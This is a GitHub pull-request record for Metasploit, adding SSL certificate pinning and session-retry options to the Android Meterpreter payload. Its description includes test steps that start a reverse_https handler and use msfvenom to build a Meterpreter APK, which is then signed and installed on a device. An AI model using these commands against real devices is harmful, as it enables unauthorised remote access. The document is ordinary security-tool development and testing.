{"action":"closed","number":5366,"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5366","id":35605114,"html_url":"https://github.com/rapid7/metasploit-framework/pull/5366","diff_url":"https://github.com/rapid7/metasploit-framework/pull/5366.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/5366.patch","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5366","number":5366,"state":"closed","locked":false,"title":"add support for HandlerSSLCert, SessionRetryTotal and SessionRetryWait on Android","user":{"login":"timwr","id":684924,"avatar_url":"https://avatars.githubusercontent.com/u/684924?v=3","gravatar_id":"","url":"https://api.github.com/users/timwr","html_url":"https://github.com/timwr","followers_url":"https://api.github.com/users/timwr/followers","following_url":"https://api.github.com/users/timwr/following{/other_user}","gists_url":"https://api.github.com/users/timwr/gists{/gist_id}","starred_url":"https://api.github.com/users/timwr/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/timwr/subscriptions","organizations_url":"https://api.github.com/users/timwr/orgs","repos_url":"https://api.github.com/users/timwr/repos","events_url":"https://api.github.com/users/timwr/events{/privacy}","received_events_url":"https://api.github.com/users/timwr/received_events","type":"User","site_admin":false},"body":"This change adds support for the SessionRetryTotal and SessionRetryWait advanced options.\r\nTo make this work the android meterpreter payload has to run on a single thread, otherwise we end up spawning multiple sessions (one every SessionRetryWait period).\r\nThis requires https://github.com/rapid7/metasploit-javapayload/pull/36 to work correctly.\r\nVerification:\r\n - [ ] Set a non-default value for SessionRetryTotal and SessionRetryWait and ensure the payload waits the SessionRetryWait second period between retries for up to a total of SessionRetryTotal seconds.\r\n - [ ] Use the ```set_timeouts -w 60 ``` command within the session to set the SessionRetryWait. If you kill connection or handler the payload should take 60 seconds to reconnect.\r\n - [ ] Validate the HandlerSSLCert parameter like so:\r\n```\r\n# generate two different certs, e.g\r\n$ ./tools/msf_irb_shell\r\n>> c1 = Rex::Socket::SslTcpServer.ssl_generate_certificate\r\n>> File.open(\"correct.pem\", \"wb\"){|fd| fd.puts c1[0].to_s; fd.puts c1[1].to_s }\r\n>> c2 = Rex::Socket::SslTcpServer.ssl_generate_certificate\r\n>> File.open(\"incorrect.pem\", \"wb\"){|fd| fd.puts c2[0].to_s; fd.puts c2[1].to_s }\r\n>> exit\r\n# start a handler\r\n./msfconsole -qx \"use exploit/multi/handler; set payload android/meterpreter/reverse_https; set lhost $LHOST; set lport 4444; set HandlerSSLCert correct.pem; set StagerVerifySSLCert true; set ExitOnSession false; run -j\"\r\n# on a new shell, with an android device/emulator attached with adb\r\n./msfvenom -p android/meterpreter/reverse_https LHOST=$LHOST LPORT=4444 StagerVerifySSLCert=true HandlerSSLCert=./correct.pem -o android.apk\r\njarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA android.apk androiddebugkey\r\nadb install android.apk\r\nadb shell am start -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity\r\n```\r\n - [ ] If the certificate on the handler and payload are different (e.g correct.pem and incorrect.pem) the payload will not connect. If they match the payload should connect as normal.","created_at":"2015-05-18T06:14:11Z","updated_at":"2015-06-01T22:57:22Z","closed_at":"2015-06-01T22:57:22Z","merged_at":"2015-06-01T22:57:22Z","merge_commit_sha":"353efb490e72fb4e83520c86da788442cbf88139","assignee":{"login":"bcook-r7","id":10031469,"avatar_url":"https://avatars.githubusercontent.com/u/10031469?v=3","gravatar_id":"","url":"https://api.github.com/users/bcook-r7","html_url":"https://github.com/bcook-r7","followers_url":"https://api.github.com/users/bcook-r7/followers","following_url":"https://api.github.com/users/bcook-r7/following{/other_user}","gists_url":"https://api.github.com/users/bcook-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/bcook-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bcook-r7/subscriptions","organizations_url":"https://api.github.com/users/bcook-r7/orgs","repos_url":"https://api.github.com/users/bcook-r7/repos","events_url":"https://api.github.com/users/bcook-r7/events{/privacy}","received_events_url":"https://api.github.com/users/bcook-r7/received_events","type":"User","site_admin":false},"milestone":null,"commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5366/commits","review_comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5366/comments","review_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5366/comments","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/7a9e875a2511137fbce2d10f36576ea4387ad33b","head":{"label":"timwr:retry_options","ref":"retry_options","sha":"7a9e875a2511137fbce2d10f36576ea4387ad33b","user":{"login":"timwr","id":684924,"avatar_url":"https://avatars.githubusercontent.com/u/684924?v=3","gravatar_id":"","url":"https://api.github.com/users/timwr","html_url":"https://github.com/timwr","followers_url":"https://api.github.com/users/timwr/followers","following_url":"https://api.github.com/users/timwr/following{/other_user}","gists_url":"https://api.github.com/users/timwr/gists{/gist_id}","starred_url":"https://api.github.com/users/timwr/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/timwr/subscriptions","organizations_url":"https://api.github.com/users/timwr/orgs","repos_url":"https://api.github.com/users/timwr/repos","events_url":"https://api.github.com/users/timwr/events{/privacy}","received_events_url":"https://api.github.com/users/timwr/received_events","type":"User","site_admin":false},"repo":{"id":3046591,"name":"metasploit-framework","full_name":"timwr/metasploit-framework","owner":{"login":"timwr","id":684924,"avatar_url":"https://avatars.githubusercontent.com/u/684924?v=3","gravatar_id":"","url":"https://api.github.com/users/timwr","html_url":"https://github.com/timwr","followers_url":"https://api.github.com/users/timwr/followers","following_url":"https://api.github.com/users/timwr/following{/other_user}","gists_url":"https://api.github.com/users/timwr/gists{/gist_id}","starred_url":"https://api.github.com/users/timwr/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/timwr/subscriptions","organizations_url":"https://api.github.com/users/timwr/orgs","repos_url":"https://api.github.com/users/timwr/repos","events_url":"https://api.github.com/users/timwr/events{/privacy}","received_events_url":"https://api.github.com/users/timwr/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/timwr/metasploit-framework","description":"Metasploit Framework","fork":true,"url":"https://api.github.com/repos/timwr/metasploit-framework","forks_url":"https://api.github.com/repos/timwr/metasploit-framework/forks","keys_url":"https://api.github.com/repos/timwr/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/timwr/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/timwr/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/timwr/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/timwr/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/timwr/metasploit-framework/events","assignees_url":"https://api.github.com/repos/timwr/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/timwr/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/timwr/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/timwr/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/timwr/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/timwr/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/timwr/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/timwr/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/timwr/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/timwr/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/timwr/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/timwr/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/timwr/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/timwr/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/timwr/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/timwr/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/timwr/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/timwr/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/timwr/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/timwr/metasploit-framework/merges","archive_url":"https://api.github.com/repos/timwr/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/timwr/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/timwr/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/timwr/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/timwr/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/timwr/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/timwr/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/timwr/metasploit-framework/releases{/id}","created_at":"2011-12-25T01:15:02Z","updated_at":"2015-05-29T21:50:10Z","pushed_at":"2015-06-01T08:58:44Z","git_url":"git://github.com/timwr/metasploit-framework.git","ssh_url":"git@github.com:timwr/metasploit-framework.git","clone_url":"https://github.com/timwr/metasploit-framework.git","svn_url":"https://github.com/timwr/metasploit-framework","homepage":"http://www.metasploit.com/","size":273156,"stargazers_count":6,"watchers_count":6,"language":"Ruby","has_issues":false,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":1,"mirror_url":null,"open_issues_count":1,"forks":1,"open_issues":1,"watchers":6,"default_branch":"master"}},"base":{"label":"rapid7:master","ref":"master","sha":"c1b8cee315ebf8cf1fcff4e6205463b5608b548e","user":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars.githubusercontent.com/u/1013671?v=3","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"repo":{"id":2293158,"name":"metasploit-framework","full_name":"rapid7/metasploit-framework","owner":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars.githubusercontent.com/u/1013671?v=3","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/rapid7/metasploit-framework","description":"Metasploit Framework","fork":false,"url":"https://api.github.com/repos/rapid7/metasploit-framework","forks_url":"https://api.github.com/repos/rapid7/metasploit-framework/forks","keys_url":"https://api.github.com/repos/rapid7/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rapid7/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rapid7/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/rapid7/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/events","assignees_url":"https://api.github.com/repos/rapid7/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/rapid7/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/rapid7/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/rapid7/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/rapid7/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/rapid7/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/rapid7/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rapid7/metasploit-framework/merges","archive_url":"https://api.github.com/repos/rapid7/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rapid7/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/rapid7/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/rapid7/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/rapid7/metasploit-framework/releases{/id}","created_at":"2011-08-30T06:13:20Z","updated_at":"2015-06-01T22:14:42Z","pushed_at":"2015-06-01T22:57:20Z","git_url":"git://github.com/rapid7/metasploit-framework.git","ssh_url":"git@github.com:rapid7/metasploit-framework.git","clone_url":"https://github.com/rapid7/metasploit-framework.git","svn_url":"https://github.com/rapid7/metasploit-framework","homepage":"http://www.metasploit.com/","size":1076065,"stargazers_count":3845,"watchers_count":3845,"language":"Ruby","has_issues":true,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":3113,"mirror_url":null,"open_issues_count":200,"forks":3113,"open_issues":200,"watchers":3845,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5366"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/5366"},"issue":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5366"},"comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5366/comments"},"review_comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5366/comments"},"review_comment":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5366/commits"},"statuses":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/7a9e875a2511137fbce2d10f36576ea4387ad33b"}},"merged":true,"mergeable":null,"mergeable_state":"unknown","merged_by":{"login":"bcook-r7","id":10031469,"avatar_url":"https://avatars.githubusercontent.com/u/10031469?v=3","gravatar_id":"","url":"https://api.github.com/users/bcook-r7","html_url":"https://github.com/bcook-r7","followers_url":"https://api.github.com/users/bcook-r7/followers","following_url":"https://api.github.com/users/bcook-r7/following{/other_user}","gists_url":"https://api.github.com/users/bcook-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/bcook-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bcook-r7/subscriptions","organizations_url":"https://api.github.com/users/bcook-r7/orgs","repos_url":"https://api.github.com/users/bcook-r7/repos","events_url":"https://api.github.com/users/bcook-r7/events{/privacy}","received_events_url":"https://api.github.com/users/bcook-r7/received_events","type":"User","site_admin":false},"comments":6,"review_comments":2,"commits":5,"additions":48,"deletions":46,"changed_files":6}}